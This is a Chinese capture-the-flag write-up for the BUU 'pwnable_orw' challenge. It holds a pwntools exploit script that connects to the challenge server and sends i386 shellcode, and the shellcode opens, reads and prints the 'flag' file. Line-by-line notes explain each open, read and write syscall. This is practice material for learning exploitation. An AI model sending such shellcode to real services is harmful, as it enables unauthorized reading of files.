题解网上其他师傅已经写过了而且写的很详细,菜鸡只好写一下自己做题中的笔记


Payload :

#coding:utf-8
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
p=remote('node3.buuoj.cn',28288)
shellcode=""
shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; mov ebx,esp;xor edx,edx;int 0x80;')
shellcode += asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov dl,0x30;int 0x80;')
shellcode += asm('mov eax,0x4;mov bl,0x1;int 0x80;')
recv = p.recvuntil(':')
p.sendline(shellcode)
flag = p.recv(100)
print flag

Shellcode解析:

在文件读写之前,我们必须先打开文件。从应用程序的角度来看,这是通过标准库的open函数完成的,该函数返回一个文件描述符。内核中是由系统调用sys_open()函数完成。
https://www.linuxidc.com/Linux/2012-02/54224.htm
https://www.shiyanlou.com/courses/reports/1098951/
https://blog.csdn.net/qq_35495684/article/details/80161177 第一部分:实现
--》char*file='flag';
--》sys_open(file,0,0); xor ecx,ecx;
mov eax,0x5; # eax = sys_open
push ecx; # 字符串结尾"\00"
push 0x67616c66; # "flags"
mov ebx,esp; # ebx = const char __user *filename
xor edx,edx; # edx = int mode 设定权限的
int 0x80; 第二部分:实现
--》sys_read(3,file,0x30); mov eax,0x3; # eax = sys_read
mov ecx,ebx; # ecx = char __user *buf 缓冲区,读出的数据-->也就是读“flag”
mov ebx,0x3; # ebx = unsigned int fd = 3 文件描述符
mov dl,0x30; # edx = size_t count 对应字节数
int 0x80; '''
fd:是文件描述符 0 1 2 3 代表标准的输出输入和出错,其他打开的文件
buf:通常是一个字符串,需要写入的字符串
count:是每次写入的字节数
'''
第三部分:实现
--》sys_write(1,file,0x30); mov eax,0x4; # eax = sys_write
mov bl,0x1; # ebx = unsigned int fd = 1
int 0x80;

BUU | pwnable_orw的更多相关文章

  1. Buu刷题

    前言 希望自己能够更加的努力,希望通过多刷大赛题来提高自己的知识面.(ง •_•)ง easy_tornado 进入题目 看到render就感觉可能是模板注入的东西 hints.txt给出提示,可以看 ...

  2. BUU刷题01

    [安洵杯 2019]easy_serialize_php 直接给了源代码 <?php $function = @$_GET['f']; function filter($img){ $filte ...

  3. buu学习记录(上)

    前言:菜鸡误入buu,差点被打吐.不过学到了好多东西. 题目名称: (1)随便注 (2)高明的黑客 (3)CheckIn (4)Hack World (5)SSRF Me (6)piapiapia ( ...

  4. [BUUCTF]PWN——pwnable_orw

    pwnable_orw 附件 步骤: 例行检查,32位程序,开启了canary 本地运行一下程序,看看大概的情况,提示我们输入shellcode 32位ida载入,检索字符串,没看见什么可以直接利用的 ...

  5. BUU XSS COURSE 1 & [CISCN2019 华东北赛区]Web2

    BUU XSS COURSE 1 & [CISCN2019 华东北赛区]Web2 XSS的题目没怎么做过,比赛基本上也没有(=_=),总结下今天做的两题 都是看赵总视频现学现做的,这里附上学习 ...

  6. BUU [GKCTF 2021]签到

    BUU [GKCTF 2021]签到 1.题目概述 2.解题过程 追踪HTTP流 在下面发现了一串可疑字符 Base16转base64 放到010里看看 复制下来,去转字符 好像不是,再回去找找其他的 ...

  7. Buuctf | BUU LFI COURSE 1

    跟着赵师傅学CTF,这里是我的学习记录 ?file=/flag ?file=/var/log/nginx/access.log :包含ngnix的日志记录 在user-agent里面插入 :bbbbb ...

  8. buu Crypto 刷题记录

    1.MD5 直接解. 2.url编码 直接解. 3.一眼就解密 base64. 4.看我回旋踢 对文本内容全部CaesarDecode. 5.摩丝 直接MorseDecode. 6.Quoted-pr ...

  9. BUU re xor

    从13行和18行的0x21(c规定十六进制必须用0x**表示)可以知道这个字符串就是33个字符 shift+e来提取出数组中的字符: 设这个数组是global数组 global[] = { 102, ...

随机推荐

  1. 关于 RocketMQ ClientID 相同引发的消息堆积的问题

    首先,造成这个问题的 BUG RocketMQ 官方已经在 3月16号 的这个提交中修复了,这里只是探讨一下在修复之前造成问题的具体细节,更多的上下文可以参考我之前写的 <RocketMQ Co ...

  2. 面向对象中static的理解(2) (单例模式)

    作用:只产生一个对象 1 class Yoshi { 2 public: 3 //外界只能通过这种方式调用这一个对象,返回必须是引用 4 static Yoshi& getInstance() ...

  3. Docker 急速入门

    1. 概述 之前聊了很多 SpringCloud 相关的话题,今天我们来聊聊服务容器 Docker. 2. 在 CentOS7 安装 Docker 2.1 卸载旧版本的Docker  # yum re ...

  4. 洛谷 P2481 [SDOI2010]代码拍卖会(背包+隔板法)

    题面传送门 题意: 给出 \(n,p\),求有多少 \(n\) 位数 \(X=a_1a_2a_3\dots a_n\) 满足: 该 \(n\) 位数不含前导零 \(a_i \leq a_{i+1}\) ...

  5. Atcoder Grand Contest 021 F - Trinity(dp+NTT)

    Atcoder 题面传送门 & 洛谷题面传送门 首先我们考虑设 \(dp_{i,j}\) 表示对于一个 \(i\times j\) 的网格,其每行都至少有一个黑格的合法的三元组 \((A,B, ...

  6. CUDA计算矩阵相乘

    1.最简单的 kernel 函数 __global__ void MatrixMulKernel( float* Md, float* Nd, float* Pd, int Width) { int ...

  7. 解决install_github安装R包时无法打开(cannot open)URL?

    最近安装github上的R包,经常显示Error in utils::download.file(url, path, method = method, quiet = quiet, : 无法打开UR ...

  8. nginx_install

    [root@MiWiFi-R1CM-srv ~]# yum install -y gcc-c++ zlib zlib-devel openssl openssl-devel pcre-devel pc ...

  9. kubernetes部署haproxy、keepalived为kube-apiserver做集群

    也可以用nginx.keepalived做负载均衡,看大家的需求. # yum -y install haproxy keepalived haproxy的配置文件(三台一样): cat > / ...

  10. PDFium 渲染

    PDFium 是 Chromium 的 PDF 渲染引擎,许可协议为 BSD 3-Clause.不同于 Mozilla 基于 HTML5 的 PDF.js,PDFium 是基于 Foxit Softw ...